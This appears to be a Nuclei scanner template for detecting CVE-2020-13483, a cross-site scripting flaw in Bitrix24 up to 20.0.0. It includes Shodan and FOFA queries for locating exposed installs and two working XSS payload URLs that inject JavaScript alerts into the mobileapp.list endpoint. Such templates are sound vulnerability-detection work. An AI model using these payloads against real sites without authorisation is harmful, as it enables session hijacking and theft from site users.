Bitrix24 <=20.0.0 - Cross-Site Scripting

id: CVE-2020-13483

info:
  name: Bitrix24 <=20.0.0 - Cross-Site Scripting
  author: pikpikcu,3th1c_yuk1,s4e-io
  severity: medium
  description: |
    The Web Application Firewall in Bitrix24 up to and including 20.0.0 allows XSS via the items[ITEMS][ID] parameter to the components/bitrix/mobileapp.list/ajax.php/ URI.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of Bitrix24 (version >20.0.0) to mitigate this vulnerability.
  reference:
    - https://gist.github.com/mariuszpoplwski/ca6258cf00c723184ebd2228ba81f558
    - https://twitter.com/brutelogic/status/1483073170827628547
    - https://nvd.nist.gov/vuln/detail/CVE-2020-13483
    - https://github.com/afinepl/research
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-13483
    cwe-id: CWE-79
    epss-score: 0.04511
    epss-percentile: 0.90369
    cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: bitrix24
    product: bitrix24
    shodan-query: http.html:"/bitrix/"
    fofa-query: body="/bitrix/"
  tags: cve2020,cve,xss,bitrix,bitrix24,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=<a+href="/*">*/%29%7D%29;function+__MobileAppList()%7Balert(1)%7D//>'
      - '{{BaseURL}}/bitrix/components/bitrix/mobileapp.list/ajax.php/?=&AJAX_CALL=Y&items%5BITEMS%5D%5BBOTTOM%5D%5BLEFT%5D=&items%5BITEMS%5D%5BTOGGLABLE%5D=test123&=&items%5BITEMS%5D%5BID%5D=%3Cimg+src=%22//%0d%0a)%3B//%22%22%3E%3Cdiv%3Ex%0d%0a%7D)%3Bvar+BX+=+window.BX%3Bwindow.BX+=+function(node,+bCache)%7B%7D%3BBX.ready+=+function(handler)%7B%7D%3Bfunction+__MobileAppList(test)%7Balert(document.domain)%3B%7D%3B//%3C/div%3E'

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "text/html")'
          - 'status_code == 200'
          - 'contains_any(body, "__MobileAppList(){alert(1)}", "__MobileAppList(test){alert(document.domain)")'
          - 'contains_all(body, "mobileAppListParams", "ajaxUrl", "bitrix")'
        condition: and
# digest: 4a0a0047304502200276e0cbc6a259cac313e9bd1f114c3f93ce59cc341b8430b4499a79d5cca1dc022100ad5bbdae39ab1caf4a99c02be71382ad97d21350ef4bd0bf17833e120b167179:922c64590222798bb761d5b6d8e72950